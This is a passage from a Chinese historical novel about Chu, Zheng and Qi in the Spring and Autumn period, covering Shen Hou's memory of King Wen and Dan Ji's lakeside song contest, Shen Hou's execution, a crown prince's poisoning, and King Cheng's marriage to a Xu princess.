古代君王和诸侯死后,必口中含玉而葬。许僖公衔玉请死,让年轻的楚成王感动不已。他急步上前,躬身为许僖公解开绳索,又解下自己披着的红色大氅,披到他赤裸的身上,接受他口中的玉璧,亲自点火,将棺木焚毁,令军巫上前,对着大火祈祷:“皇天在上!许男姜业含玉**,义结大楚,为两国造福!祈皇天后土、凤凰之灵保佑许国世代永昌!”
祈福完毕,楚成王邀请许国君臣进入王帐,说道:“许男大礼,有微子之贤!若两国结盟,不亦美哉?”
“敝国正有此意,望大王成全!”姜业喜不自禁。
“潘大夫与军巫择定吉日,筑坛升旗,不谷欲与许男结盟!”
“臣遵旨!”潘崇和军巫同出大帐,择日选时去了。
“大王!许男有一妹,正值豆蔻年华,容貌端庄秀丽!愿为大王箕帚。”蔡穆侯趁机说道。
楚成王一听,眼前立即浮现商臣那暴突的眼睛,高兴地说道:“不谷后宫寂寥,谢许男用心!”
“舍妹自幼熟读《诗》《书》,琴棋书画也略知一二!若为箕帚,可为大王解忧一二!”
“熊恽何德何能?今日既结盟友,又得佳丽,皆许君之功也!今夜军中摆酒,大宴许君!”楚成王下令道。
“遵令!”帐中官员高兴地应道!
楚成王本来对子玉擅自开战心有不满,现见听其劝谏而驻兵武城,却收到奇效,便对他刮目相看。自此,子玉也受到楚成王的宠爱。
第26章 不负云梦女儿缘
当楚成王率军进攻许国之时,前来求援的郑国上大夫申侯也准备回国。他刚出茅门,只见一位年近三十的宫中掌事在身后喊道:“申侯留步!”
申侯转身问道:“汝是何人?何事找我?”
“奴婢乃紫金宫管事柳儿,太后有请申侯!”
申侯一听,喜上眉梢!问道:“太后尚健否?找我何事?”
“太后安泰!闻上大夫来楚,欲问先王之事!望申侯屈尊一往!”
“先王!先王!”提起楚文王,申侯感慨不已:“先王已逝!然太后尚在!我理当前往拜会,柳儿引路!”
柳儿高兴地将他一路带进紫金宫。太后早在门口迎候,申侯一见,双手抱拳,躬身行礼道:“拜见太后!何劳太后出门亲迎?”
“申侯乃先王旧臣,孤家早闻大名,只是申侯早去郑国,孤家缘悭一面,今日有幸也!请到屋里说话。”
两人进入正堂,桃花夫人请申侯坐在客座上,自己坐上主座。申侯感慨地说道:“先王待我恩重于山!今见太后,如见先王也!久闻先王为太后建紫金宫,华丽无比,今日一见,果然不虚!”
这时,柳儿端茶过来,桃花夫人说道:“申侯用茶!”
“谢太后!”申侯起身接茶放在右边的台案上,又恭敬地坐下。
“申侯见过丹姬否?”桃花夫人突然问道。
“大王上巳节初见丹姬之时,下臣就在大王身边!”
“申侯慧眼,孤家与那丹姬有几分相似?”
“现在看来,仍有七分相似!”
“丹姬之事,楚人皆知,惟孤家不知!申侯能否告知一、二?”
“过去之事,旧臣早已忘怀,太后不必挂在心上。”聪明的申侯不想刺激太后。
“早闻申侯愽学多才,过目不忘,先王之事,岂能忘怀?闻先王初识丹姬,是在云梦对歌?是否?”
桃花夫人的话,一下把他带到了三十年前,带到文王与丹姬对歌的云梦泽畔!那情景、那歌声,他记得清清楚楚!但他不能说,以免为太后增加不必要的忧愁!
“申侯宽心,孤家并非自寻烦恼!先王曾说我才貌酷似丹姬,方从息国将我抢回!请申侯告知当日之事,以证实先王并未欺我!”
申侯一听,左右为难,事情过去了几十年,太后或许不会计较!但丹姬实在太美,歌声太动人,哪个女人都会心生妒忌,万一太后受不了呢?
“丹姬被保申逐出郢都,流浪在外数十年,命运之苦,甚于孤家!孤家岂能心生妒忌?”
是啊!太后命苦,丹姬的命更苦!她怎会为往事不安呢?申侯点点头,一下就回到了三十多年前,回到那楚歌声声的云梦泽畔……
公元前686年春天,楚文王带着申侯送给他的宛路之箭和茹黄之犬前往云梦大泽打猎。
八百里云梦,不仅是名噪天下的南国水乡,更是理想的狩猎之地。楚文王的狩猎大军顺汉江南下,一路湖光山色,让他流连忘返。
三月三日,楚文王来到一座俊秀的山岭之中,正值阳光明媚,风和日暖,山上出现大量的山麂,那各色的麂子形状情态极其像鹿,灵巧可爱。熊赀顿时兴起,下令两广左右包抄,自己和鬻拳带一路人马居中追赶。他撘上宛路之箭,果然神准有力,山麂无不应声倒地。队伍越赶,麂子越多,还有野猪、野兔、野狼等。快到山边时,熊赀下令收网!左右两广趋前包围,把这些山兽围在中间,全军立拉网向前。可是那些麂子灵活异常,钻出包围向山边跑去。那茹黄之犬一窜而上,将山兽追到山边,可当它追到山边断崖时,却蹬在那里一动不动。
文王好奇地赶了过来,抬头一看,也怔住了。
山脚下就是梦泽湖。岸边水中,人山人海,喧声鼎沸!宽阔的湖面上,无数装扮得五颜六色的渔船,三五成群,向岸而停。渔船上的姑娘和小伙或互相撩水嬉戏,或对岸喊话,有的则隔水对歌。两岸也以青年男女为主,老人小孩和妇女都在水边擦身洗脸,少男少女们正在追逐打闹,情景异常壮观美丽。
“今日为巳日,云梦百姓正过上巳节!”鬻拳不知什么时候站到他身边。将士们也都围了过来。
上巳节是沐浴祓禊,祭祀社神,祈年求福的日子,更是男女春嬉求欢,歌舞狂欢的节日。祓(fú福)褉(xì戏),即洗秽去垢,消除不祥。是上巳节的重要内容,民间男女老少都要到河边来擦洗身体。熊赀少时也偷出参加过上巳节,可从未见过如此壮观的景象。他兴致勃发,说道:“下山看看!”
为防惊扰百姓,鬻拳令两广将士依山扎营,自己与申侯带着几名侍卫随大王来到湖边。只见河岸上,到处可见成年男女设台供奉,祭祀神明,而不时有一对对青年男女手拉手从他们身边跑过,进山林去了。老人妇女或自己沐浴祓禊,或为小孩洗浴擦拭。年长或成年的男人,则大多在焚香祭祀,少男少女或对歌调笑,或嬉闹打斗,欢声笑语此起彼伏。熊赀身临其中,兴致勃然。忽见前面不远的地方有一群青年男子与河中几条渔船上的女子在起哄,便好奇地走了过去。
“渔妹将船靠近,移至岸边!相隔太远,难闻其声也!”
“移过来,移过来!让我等一睹芳容!哈哈哈哈……”岸上的青年男子对船上的女子叫个不停。
那些船女们向前摇了几桨,说道:“谁敢对歌?有胆量者,站上前来!”
姑娘们也在叫板!
“渔妹能唱,我等必和!”一个衣着考究的年轻人挑衅道。
众女子一听,对一只蓬船上的女子说道:“既如此,丹姬先唱,或能找到有缘之人!”
可那个叫丹姬的女子似乎不感兴趣,
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驾船要走,说道:“我水路遥远,且先回去!”
“既远道而来,如何就去?先吟一曲,且看岸上是乌是鹊!”众女子劝道。
丹姬犹豫了。这时,岸上也起哄道:“闻丹姬才情出众,愿聆一曲,以慰平生也!”
熊赀不禁仔细远看那身着绿衣的丹姬,可见那椭圆的脸庞之上,一对乌黑的眼睛明媚动人。那微翘的鼻梁匀称秀丽,紧抿的嘴唇稚气而内敛。全身的灵秀之气,天然之态,让熊赀怦然心动。
在众人的劝说下,只见她回船向岸,手扶双桨,脸上绽露羞涩的微笑,高声唱了起来:
云梦佳人,
出闺阁兮。
孤身弄桨,
唱渔歌兮。
渔歌一曲,
风浪起兮。
哥哥也,
吟风舞浪,
和一阙?
熊赀一听,不仅歌声优美,而且气质非凡,虽是渔歌,却有阳春白雪之韵,隐蕴着宫廷的风雅。她为何叫丹姬?这也不是普通渔女的称呼呀!熊赀对她更加好奇,久久盯着她看,竭力想把她的情态看得更清楚。就在这时,岸上的歌声响起来了:
佳人闺阁,
择良木兮。
灵秀山梓生南坡。
玉阁应有中梁柱兮。
妹妹也,
谁比南坡
擎天木?
熊赀一看,是那个声言有歌必对的贵族青年。但他的口气也太大了,仿佛天下只有他与丹姬相配!熊赀感觉不好,想压压他。不料丹姬先开口了:
饿汉偷食,
进灶头兮。
粗心跘倒
火叉头。
主母惊问
何所响兮。
厨娘忙道:
“鼠偷油!”
“哈哈哈哈!船上船下的男男女女都笑了起来。熊赀一听,觉得这是个奇女子,不好对付。其他船上的女子起哄道:“梓木太贵,渔家买不起!”说着又笑了起来。这时,另一名男子上前唱道:
小小鲤鱼兮,
紫红腮,
下河游到,
上河来。
躲过渔夫兮,
千重网,
绕过河底兮,
万重岩,
只为丹姬兮,
千里来。
唱歌的男子中等身材,貌相忠厚,歌声情真意切,楚楚动人!可谓人才俱嘉,已是人群中的佼佼者。只是声调有些压抑,意气稍弱。对方半天没有声音,众男子正要起哄,歌声却飘过来了。
梦泽湖边兮,
开红花。
苞谷垅里兮
种豆荚。
豆荚莫缠兮
苞谷树。
苞谷一落兮,
豆散架。
“公子有心,丹姬无意!敬谢公子,何人再来?”她身边几条船上的女子似乎也觉可惜!竟不嬉笑这位公子。
丹姬或许失望,或许不想伤害善男之心,驾船又要走,众女子不好再劝了。(未完待续,下章更好看)
第27章 不负云梦女儿缘
挑剔的丹姬激起了熊赀强烈的好胜心,这仿佛就是他要寻找的女人啊!他过去一次次地偷跑,一次次久离王宫,究竟在找什么?他终于明白了!听歌思人,他感到自己已经领悟她的心思,便走到河沿,对着丹姬的背影唱了起来:
渔歌一阕兮
嗽玉声,
风吹衣袂兮
起红云。
歌伴双桨兮声声唱,
心随舷波兮款款吟。
敢踏大浪兮
与共舞,
欲答渔歌兮
伴和声。
身沐风雨兮
船破浪,
风雨同舟兮
不离分。
“好歌,好歌也!公子果然才高一筹!”男子阵营拍手叫好。
丹姬停桨,转过身来,久久望着熊赀,一动不动。
众女子趁机劝道:“此公子气宇不凡,才情出众。非低眉鼠辈,必为丹姬所求也!”
岸上的公子们又开始起哄了:“是‘豆散架’,还是‘不离分’?丹姬如愿否?”
“哈哈哈哈……”
渔女们急了,对丹姬说道:“此人富贵之貌,至诚之曲,何必犹豫?”
丹姬将船向岸边又划了几桨,把头低下,又缓缓抬起,声调忧伤地唱道:
衰莲逢春兮,
吐蕊红。
云梦风起兮,
涌涛声。
野荷愧无倾城色。
难寄山莺声声情。
只恐星辉兮,
满天照。
岸边花撩兮,
四路人。
满眼莲蓬兮
千只眼。
哪见莲根兮,
一条心。
此时,水上的船不断靠过来,岸上的人不断拢过来。美丽的楚歌,让众人驻足不移,侧耳静听。来自中原的申侯听得目瞪口呆,望着大王。此时的熊赀已情窦渐开,更听出丹姬芳心已动,只在担心自己始乱终弃。便再吐衷曲:
荷花六月兮生荷仙,
与仙同游日月边。
霓为衣兮
虹为裳,
玉颜一露兮百鸟翩。
汉水愧与春风舞,
荆山羞花落片片。
梦魂比翼兮
心连理,
不负云梦女儿缘。
“好歌!好歌!公子文辞飘逸,才情卓绝也!”众人叹道
“郎才女貌,天配姻缘也!”
“丹姬有意否?可靠岸一见?”渔女们劝道。
此时,丹姬已情迷意乱,不由自主地将船划了过来,而熊赀更是心旌摇动,不顾鬻拳、申侯等人的阻拦,一步跨上船去。丹女不敢看他,低着头返桨离岸,只想赶紧躲走。急得鬻拳跳脚大喊:“公子速回,湖野之中凶险也!”
可是,四周起哄的声音把他淹没了!
“对歌三载,丹姬终有所归!”
“来年上巳,二人必结对而来!”
嬉笑声,打闹声,尤其是岸上和河中船桨的打水声,乱成一片。男女都打水泼向两人,弄得两人全身湿透,船上到处都是水,丹姬双桨劲划,夺路逃命,转眼就行远了······
“那丹姬果然才貌俱佳,为何保申不容?”桃花夫人听后,感慨不已。
“先王登上丹姬渔船后,半年不归!保申身为太保,为先王担惊受怕,派三军寻遍八百里云梦泽,竟未找到,便料定那丹姬是蛊惑大王之妲己,执意将她处死!”申侯答道。
“大王可将她带回宫中,娶为妃嫔,为何在外流浪半年?”
“只因丹姬为权国公主,武王剿灭权国,使她从小就流落云梦泽,故对楚国充满仇恨,不愿入宫为妃!先王伴她半年,情深义重!丹姬为先王之情所动,终于同意回宫!”申侯眼前又浮现他们回宫后的情景,说道:“可惜太晚了!太晚了!”
“究竟发生了何事,上大夫慢慢道来!”桃花夫人急切地问道。
申侯目光迷离,脸色忧伤,当时的情景又一起浮现起来……
那是一个风和日丽的日子,申侯和子文终于在丹江河畔找到楚文王和丹姬。当众人兴高采烈地回到郢都,走进楚堂之时,却见保申一人站立殿中,面容憔悴,神色严峻。
“太保可好?”文王知道师傅生气了,笑嘻嘻地问道。
保申举起一柄镀金镶玉的菱纹铜剑,厉声说道:“大王曾记此剑否?”
“此乃父王授太保之剑也!”看着那闪亮的剑刃,熊赀的腿有些发软。
“大王一去不归,贪恋女色而不思朝政,致朝廷险象环生!必行鞭笞之刑!”
楚文王大吃一惊!看他脸色,要来真的了!便求道:“不谷在襁褓之中,便位列诸侯,今日已为大楚之王!请师傅免罚!”
保申毫不退让:“我受先王重托,岂敢废弃?今日宁可得罪大王,亦不敢获罪先王,必罚之!”
楚文王万般无奈,卧倒在保申早已准备好的刑凳上。保申拿起五十根细小的荆条,在他屁股上轻轻打了两下。
许久,保申说道:“刑毕,可矣!”
楚文王一摸屁股,说道:“仅此两下?哦,嘿嘿,不痛!不痛!”说完站了起来,笑着抬头看看师傅,脸色突然一沉。
只见师傅憔悴的脸上,泪水纵横,伤心地说道:“刑者,君子耻之,小人痛之。大王受刑而不知耻,刑之何用?老朽施教不当,管束不严,致使大王不悔己过
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,负先王之托,有何脸面立于朝堂?臣负先王,当流放三千!臣去矣!望大王珍重,常思大楚河山来之不易也!”说完,疾步出堂而去。
楚文王紧追出来,拉着师傅的手说道:“此不谷之过也!师傅何罪?大楚岂能无太保焉!”
保申见他有悔过之意,说道:“大王欲尽王事,必先废淫意!请毁宛路之箭,杀茹黄之犬,诛丹之姬!”
这是要挖文王的心啊!宛路之箭和茹黄之犬,是宝箭宝犬,半年来,一直伴随在他身旁保护着他,是他最心爱的宝物。而丹之姬则是他的心肝宝贝啊!他怎会舍得?
保申见他留恋不舍,说道:“不除此三害,大王岂能安心朝政?老臣惟有一死,以谢罪先王也!”说着,以头向廊柱猛撞过去。幸亏斗谷於兔和申侯反应敏捷,一把将他抱住。
楚文王深爱师傅,更爱丹姬,他心如刀绞,痛苦地说道:“依师傅之言,折箭杀犬,然丹姬不可诛也!爱姬父母双亡,无兄弟姐妹,为权氏最后一脉,不可断也!”
“令其速离郢都,如若再见,必以此剑诛之!”保申给他三分薄面。
熊赀一见那菱纹铜剑,腿又软了!
丹姬站在一旁,看到熊赀呆若木鸡,大失所望!连大王都保不住自己,她只觉心碎!泪如雨下,看都不看熊赀一眼,以手捂脸,放声痛哭着跑了出去。熊赀见状,如刀剑穿心,立即追了过去,喊道:“丹儿,且慢!”
丹姬一听,立即站住,回过身来,心中一丝希望又起。说道:“大王,曾记云梦之言否?”
熊赀一听,全身发软,转过身求保申道:“师傅垂怜,请留丹姬!”
可保申举剑向前,厉声说道:“此女巧言令色,与妲己何异?我必手刃妖女,以绝大王之念!”说着冲了过去。丹姬一见,失声号啕痛哭,转身就跑!
熊赀立即去追。保申见他仍痴心不改,双手托剑向天,双腿跪下,痛苦地说道:“先王,大王不思悔过,秽乱朝纲,臣废遗命也!惟一死以谢隆恩!”说完,举剑对准自己的胸膛刺了下去。
众人一见,立即过去抓住保申的双手,剑已伤及身体。熊赀听言回头,立即大喊:“师傅不可——”转身冲了过来,伤心地说道:“师傅保重——”
保申已精疲力竭,艰难地说道:“大王,欲不可纵也!”
熊赀回望丹姬,远远见她悲怆的身影渐渐消失,心如刀割,无力地把头垂下。
此后,各地都流传着丹之姬的传说。有的说她仍以打鱼为生,在梦泽湖听到过她的歌声,有的则说她流浪在外,最后投水而死!成为楚人心中永远的痛
第28章 楚蛮郑忧齐侯怒
申侯从回忆中缓缓醒来,发现太后低头垂泪,忙说道:“逝者已矣!太后不必伤感。”
太后以袖拭泪,摇摇头,说道:“丹姬一时兴酣淋漓,引来-生苦楚!先王一情所牵,则使兵败人亡!婚姻大事,非同儿戏也!”
太后与丹姬惺惺相惜。申侯也感到心痛,说道:“太后体己怜人,乃仁慈之心也。”
“今日大王情痴智昏,重蹈覆辙,恐灾祸又生矣!”她终于说出了心中的忧虑。
申侯这才明白,她追怀先王,是担忧当今大王!难怪她那么嫌弃蔡妃!但,大王和蔡妃又有什么灾祸呢?申侯无从预测,便宽慰道:“大王已成婚生子,太后何必多虑?”
可是,女人的预感,又岂能用言语讲清?自己躲过蔡侯的骚扰,结婚成家,息国也平安度日,却被楚文王一夜尽毁!可怜的息侯吓得胆魄丧尽,如行尸走肉。而当自己与文王情窦再生,成婚生子之后,仅仅九年,年轻的楚王却命丧黄泉!这,难道是偶然的吗?
文王一生战无不胜,却被那处的阎氏和那氏打败;而那氏,就是权国遗族啊!匪夷所思的是,他深夜想回郢都养伤,又被自己最信任的人拒之门外。更加不可理喻的还有:他在大败黄国之后,竟染痢疾而死!上天为什么一步一步地非逼死他不可?难道不是他见美人就抢、致人灭国亡族的报应吗?
这一切,只有身为妻子的她敢想!可她又怎能明告世人?她的痛苦,不仅自己成了息国灭亡的罪人,她更日夜担心的是:这种报应,又会落到儿子的身上!果若如此,她作为妻子和母亲,又怎能承受这双重的煎熬!
她有万千痛苦,却无法说出,只对申侯说道:“谢申侯与孤家追忆旧事!申侯曾为楚国之臣,楚亦为申侯之家!望常往来!孤家也好请教申侯!”
“太后有召,旧臣敢不星夜前来?太后保重,旧臣就此告辞!”
齐国退兵,郑国安然无恙,申侯欣然回到郑国,向郑文公述职道:“下臣使楚,蒙楚王垂爱,言听计从,新密之围不战而解也!”
郑文公肥硕的脸上笑出一朵花,说道:“申卿一人解新密之围,天下何及?赏黄金百两!”
“谢君上!下臣归国之时,楚太后曾召见下臣,言楚为下臣之家,嘱我长与往来。太后亲郑,郑必无忧也!”郑文公高兴地点点头。申侯退下,带着百两黄金回制地去了。
郑国上卿叔詹见申侯得意洋洋,对郑文公说道:“申侯前有媚齐而得制地;今又恃楚而骄横自重,后必为祸,国君慎之。”
郑文公一听,两眼圆瞪,说不出话来。
原来,申侯在郑国并没有封地。齐桓公率八国联军伐楚退兵时,陈国掌管粮草的大夫辕涛涂来到郑**营,对他说道:“齐侯大军撤退,若朝北经由我郑、陈二国,数万大军,将吃尽我二国粮草,不如谏齐侯向东!齐侯伐楚,是应东夷诸国所求,今凯旋而归,东夷诸国本应供给粮草!”
申侯一听,有道理呀!说道:“辕大夫可禀告齐侯,此乃我二国之利也!”
精打细算的辕涛涂为了省钱省粮,硬着头皮进入齐桓公的大帐,建议齐侯率大军向东班师,接见东夷诸侯。齐桓公也觉有理,便同意了,并令陈宣公嘉奖辕涛涂。
申侯一想,这么大的功劳竟被那瘦猴的辕涛涂抢走了,便心生一计,随即进入霸主大帐,对齐桓公说道:“闻方伯意欲绕道东行,窃以为不可!大军出战数月,疲惫不堪,为何舍近求远?若出于陈、郑之间,既可得其粮草,又无强敌之虞,何乐不为?”
齐桓公一听,高兴地说道:“申侯乃贤臣也!辕大夫误我,我必不饶!”说完,一面令卫队将辕涛涂抓了起来,一面令人请郑文公。
郑文公急急跑来,问道:“方伯有何见教?”
齐桓公说道:“郑有良臣,国之福也!请以制地赏于申侯!”
郑文公一百个不愿意!制地是什么地方?它就是天下险要虎牢关!是郑国的军事重镇。三国时期的三英战吕布,就在这里。当年,郑文公的高祖母武姜要把它封给自己宠爱的小儿子共叔段,爷爷郑庄公尚且不允,现在封给这个从楚国跑来的家伙,郑文公怎能心甘?但霸主有令,他又岂敢不从?只好将制地赏给了申侯!
现在,申侯带着一百两赏金回到虎牢关,春风得意,每天大宴宾客!大年刚过,前来贺喜之人更是络绎不绝。申侯府中每日觥筹交错,热闹非凡。他骄傲地说道:“以一己之力,退六国之兵者,舍我其谁?”
被他算计过的辕涛涂为了报仇,刚被齐人释放就跑来祝贺,他谦恭地说道:“大夫得方伯之宠,受郑伯之恩,方得此天下险要之地!大夫之才,某不及也!愿乞怜教!”
得意中的申侯哈哈一笑,说道:“某虽不才,尤知主上之心!汝经此一难,切记不可逆上之意也!”
谁知尖嘴猴腮的辕涛涂比他更会算计,笑着提醒道:“大夫亦有微瑕,不可不察。”
“在下有何瑕疵?”申侯问道。
“虎牢乃郑国关隘,大夫若不加固城墙,整军备战,如戎敌来犯,一旦有失,郑伯必然加罪!”
申侯一听有理。于国于己,他都要守好封地,说道:“大夫言之有理,此关不可失也。”
从此,申侯一心整军备战。他把城墙加高加固,招兵买马,囤积粮食,日夜训练军队。
辕涛涂又赶到新郑,对郑文公说道:“闻申侯违制加高城墙,广招兵马,是恃方伯之宠,生叛逆之心也!贤伯须小心提防!”
郑文公一听,杀心顿起。
此时的齐国,面临着楚国的严峻挑战。齐桓公心神不安,召众臣商议道:“天子亲楚,郑伯背盟,许男亦效尤也。如之奈何?”<
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br>管仲也担心道:“楚人争霸,中原必南北**,祸至无日也。”
大行隰朋说道:“楚虽入中原,然未**周礼,若其为霸,必害中原。”
性情憨直的大司马宾须无说道:“何须多言,我必以方伯之名,共护中原同盟,背盟者必讨。”
齐桓公听言,决定再次伐郑。大年一过,齐国的大军又开往新密。郑人闻讯,惊恐不已,郑国的灾祸还没完啊!郑文公立即开朝问计。
年轻的太子华说道:“当今之计,惟楚可抗齐人,可遣申侯求救。”
洩氏宗伯叔詹,是郑文公的弟弟,他向来不赞成倒向楚国,便说道:“谚语有云:心既不坚,何患受屈?郑不能强,又不能弱,依附楚人,国将危矣!请屈齐以救国!”
附楚还是屈齐?郑臣立即分成两派,争了起来。郑文公又一次站到了十字路口。
齐桓公的大军不等他思考,正浩浩荡荡进入郑境,又一次将新密团团围住,准备进攻。军情十万火急。郑文公立即召申侯入宫,问道:“齐侯伐我,兵临新密,贤卿可有应对之策?”
申侯想了想,说道:“臣下聘楚求救,楚必来援。”
“郢都距新密千里,待楚军到时,城已破矣!卿望孤衔玉请罪乎?”
“君辱臣死,臣愿领兵死守!待楚王来援,齐必退兵。”
“不必如此,贤卿只需借孤一物,齐军必退!”郑文公静静地说道。
“国君借臣何物?臣必不吝!”申侯还在信誓旦旦。
“如此甚好。来人,将申侯头颅砍下!”郑文公的语气不再那么柔和。
“君上——”申侯始料不及,惊慌失措。
“孤欲借汝之头一用耳!”说完示意带下去。
八面玲珑的申侯就这样被郑文公斩了!他将申侯的头颅盛于一个红色木匣内,并附书信一封,令人送至齐侯大帐。齐桓公打开书信,只见信中写道:
捷百拜奉书齐贤侯殿下:敝邑不幸,奸臣作乱。申侯前番佞言欺上,致捷逃盟结楚;后再纵楚伐许,冒犯方伯之威!捷悔恨无地,故以申侯首级奉上,以表盟心,惟方伯之命是从也!
申侯游说楚国出兵,天下皆知。看到人头,齐桓公不语,把书信给管仲看。管仲看完,也沉默不语。
现在,齐、楚两强争霸,以武威胁弱国,致使弱国莫衷一是。管仲深深感到,此非霸主之道。便对齐桓公说道:“以武威逼,乃败德之道!若依礼而行,方安天下。可退兵而召盟。”
齐国君臣不再以武强逼,而是召集宋、陈等国到鲁国的宁母(今山东鱼台)会盟,以加强中原同盟,并商讨怎样处理令人头痛的郑国小弟弟。
齐国退兵,郑文公欣喜之余,觉得还是不能得罪齐国。但,亲楚是天子密旨,他不能违抗,无奈之下,只好采用墙头草国策,派太子华前去宁母参盟。
第29章 谋人者终被谋
太子华身材修长,肤白貌美,风度翩翩,一见齐桓公,立即优雅地躬身行礼道:“君父久仰齐侯之德,遣外臣拜见齐侯,重归中原之盟也。”
齐桓公一听,眉开眼笑。郑国杀亲楚派的首领申侯,又派太子前来入盟,更有何求?他可是郑国的未来啊!齐桓公说道:“世子明理,中原之福也!”众诸侯见到郑国世子,也原谅了郑国的逃盟之罪。
太子华见齐桓公宽厚仁爱,便夜入大帐,密吿齐桓公道:“郑室亲楚者,惟洩氏、孔氏和子人氏三族也!三族把持朝政,抗方伯之命,忤逆君父,为郑之害也。乞齐侯领兵征讨,除此三族,吾愿为内应,郑必忠心不二!”
齐桓公一听有理,忙找管仲商量。管仲一听,断然说道:“不可!君召诸侯结盟,所仗者,礼与信也!父慈子孝谓之礼;子遵父命谓之信!若违礼背信,以奸邪召盟,则将背弃盟旨,是大恶也!”
大道理是如此,但郑国确是个现实的大问题,这也是一个解决的办法呀!齐桓公说道:“诸侯伐郑无果,今有机可乘,一举降郑,不亦可乎?”
管仲答道:“天下方伯须表率诸侯,以德绥之,以礼训之。若仍不从,则以师讨之!若以罪恶之人怀罪恶之心征讨,郑必不服,又何惧我?君侯召盟诸侯,是为崇尚德行,若让子华在列,行奸人之道,何以昭示后人?况诸侯会盟,其德行、刑罚、礼仪、道义,诸国皆载入史册,若使奸人僭于君位,行其罪恶,盟约必废,君侯不可应诺!子华身为世子,却戕害国家,必招大祸。郑有叔詹、堵叔、师叔三族良臣辅政,乃中原之幸,岂可灭之?”
管仲义正辞严,说得齐桓公哑口无言,只好拒绝子华的要求。
会盟结束,子华回国,众臣都到宫门迎接,连郑文公也来了。他对儿子说道:“华儿请随我来,君父有要事要问。”
郑文公将他带进一间密室,说道:“我儿归途辛劳也!为父特备香茗,以慰我儿,来人,为世子奉茶——”
侍从端茶进来,郑文公说道:“此乃南方珍稀蜜茶,我儿享之。”
太子华一听,捧起就喝。他确实渴了,咕噜咕噜全喝完了。
“君父有一事不明,我儿知否?”
“君父何事?”
“人一旦得势,为何便生邪念?”父亲的目光射出凌厉之色,如箭一般,子华突觉心痛,父王知道了!他想解释:“君父——”可心中一阵绞痛,他双手捂胸,痛得弯腰扭腿,嘴角横扯,口吐泡沫,一下倒在地上,剧烈地抽搐起来。
君父脸色苍白,说道:“我儿可知,人心皆有毒也!”说完转身出门,猛地将门关上,脸上没有一滴眼泪。
再说申侯走后,桃花夫人陷入无边的愁苦之中。她总觉得有祸灾发生!特别是看到孙儿商臣的面相,总有一种不祥之感!那暴突的眼睛,与梦中艰儿的眼睛何曾相似!他是那个冤魂派来复仇的吗?她感到不寒而栗,不敢再想下去!
这时,宫中内侍过来通报:“大王班师回郢,令尹与屈敖出城郊迎,太后与嫔妃至茅门迎候!”
她感到心中一阵莫名的激动!这才发现,她想儿子了,立即坐上梳妆台,叫柳儿梳起妆来。柳儿把她浓密的黑发盘成高高的发髻,插上一根绿玉发笄,将发髻固定。对着镜子看了看,脸庞左右,垂下两绺秀丽的云鬓,捧着一张椭圆的瓜子脸,那红晕如彩的洁白的脸上,一双秋波荡漾的大眼睛,楚楚动人。
没有描眉,不施粉黛。她站起身来,从衣柜里拿出一件过去极少穿的深红暗花锦袍,下身换上一件黑色起花长裳,然后披上那件白色鹅毛披风,带着柳儿和两个侍女,出门向前宫走去。
来到茅门,蔡妃带着商臣和宫中其他女眷及侍女都已到齐。蔡妃一见,立即上前说道:“给太后请安!”
“给太后请安!”女眷和侍女们一齐鞠躬,齐声说道。
“都起来吧,无须多礼!”她微笑着温柔地说道。
“臣儿,叫祖母!”蔡妃抱起两岁多一点的商臣,走到她的身边。
她微笑着望着商臣,可他就是不叫,一双暴眼紧盯着她头上的发筓。
“快叫祖母!”蔡妃催道。
“祖母——”
声音那么奇怪,既尖又细,像女人的声音,桃花夫人的眼前,又冒出艰儿那恐怖怪异的眼神,他克制住自己说道:“好臣儿,真乖!”说着在他头上摸了几下,不自觉地退后两步。离他们母子稍远一点,她才感到自在。
两人无话可说,都默默等待着熊恽到来。幸好等得不算太久,熊恽高大的玉辂驶了进来。见到母亲和妻子,他从车上跳了下来,走到母亲的面前,说道:“有劳母亲久等!母亲可好?”
太后点点头,说道:“我儿征战劳苦!闻许国欲与我儿联亲,可有此事?”
确有此事!已行纳币之礼,只待请示母后,向许国请期!”
公主年岁几何?性情可嘉?可是再嫁之身?”
“非也!公主正值豆蔻之年,性情温顺,待字闺中!”
“甚好——”桃花夫人满脸是笑,高兴地说道:“此淑女也!婚期可在大年之后,请国巫选一吉日!”
“谨遵母命!”熊恽说完,转向蔡妃,问道:“臣儿可好?”说着,把怯生生的商臣抱了起来!
“快叫父王!”蔡妃急切地说道。
“父王——”商臣在熊恽的耳旁叫道。熊恽机械地一笑,将他放在地上,然后自己蹲下,对着商臣说道:“我儿须读书识礼,父王为汝请一师傅,可好!”
商臣点点头,说:“好!”
蔡妃赶紧说道:“甚好!臣儿有师明教,必有造化!不知大王选何人为师?”
“潘崇何在!”楚成王叫道。
“臣在!”瘦高的潘崇闻声过来。
“请潘大夫为臣儿之师,教臣儿学文习武。可否?”
“臣惶恐!臣才疏学浅,难当此任也!”
“大夫**通今,正合此用!特封潘崇为上大夫,悉心教导大王子!”楚成王下旨道。
“臣谢恩、领命!”潘崇一下跪在地上。
蔡妃一看,这么一个无名无职的随军大夫,怎有资格为商臣之师!
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大王就这么一个儿子,理应让子文或屈完为师,将来好继承父业,今天选一个无足轻重的中大夫为师,是不想臣儿继位啊!难怪他为儿子取名商臣!可当着这么多人,她不敢反对。这时,只听丈夫说道:“走,回宫行拜师之礼!”
蔡妃两眼发直,看着丈夫牵着商臣向前走去,众人都跟随而走,她突然猛醒,快步跟了上去。
第二年阳春三月的一天,楚宫内外,披红挂绿,张灯结彩,郢都百姓听说大王要娶许国公主,都涌到宫门前的皇道两边看热闹。新娘早早被蒍吕臣从许国接到国馆。桃花夫人一清早就盛装来到前宫,对儿子说道:“吾儿今日须到国馆迎接新娘!”
“前回迎娶蔡妃,母亲不许孩儿亲迎,此次为何要去?”
“今日不同前回!许姬待字闺中,首次出嫁,我儿必得出迎!”
楚成王只好点头答应。他乘坐披红挂绿的大花轿来到国馆门前停下,手持玉佩下轿,进入国馆大堂。宰夫在大门口喊道:“大王执礼前来接亲,新娘下楼!”
楼上的许男夫人一听,激动地对许姬耳语道:“大王亲自来也!”
许姬点点头,感动地说道:“嫂嫂速扶我下楼!”
许男夫人亲自为她披上盖头,上下打量了一阵,觉得没有差错,便将她扶下楼来。
楚成王进入在国馆大堂,等新娘下楼,他大步向前,把玉佩放在大堂正中的香案上,点燃椒香,插在香案之上,朝着许国先祖的神牌行天揖之礼:双手五指相交,举过头顶,再向下拜,腰身躬成九十度,手背沾地。如此三次,执礼完毕后,便走向新娘。
许男夫人扶着许姬默立静候,楚成王转过身来,把玉佩交给新娘。许男夫人则把系在许姬身上的红色绸带的另一头交给楚成王。楚成王握住绸带,牵着许姬出门,走到花轿边,把她扶上花轿。
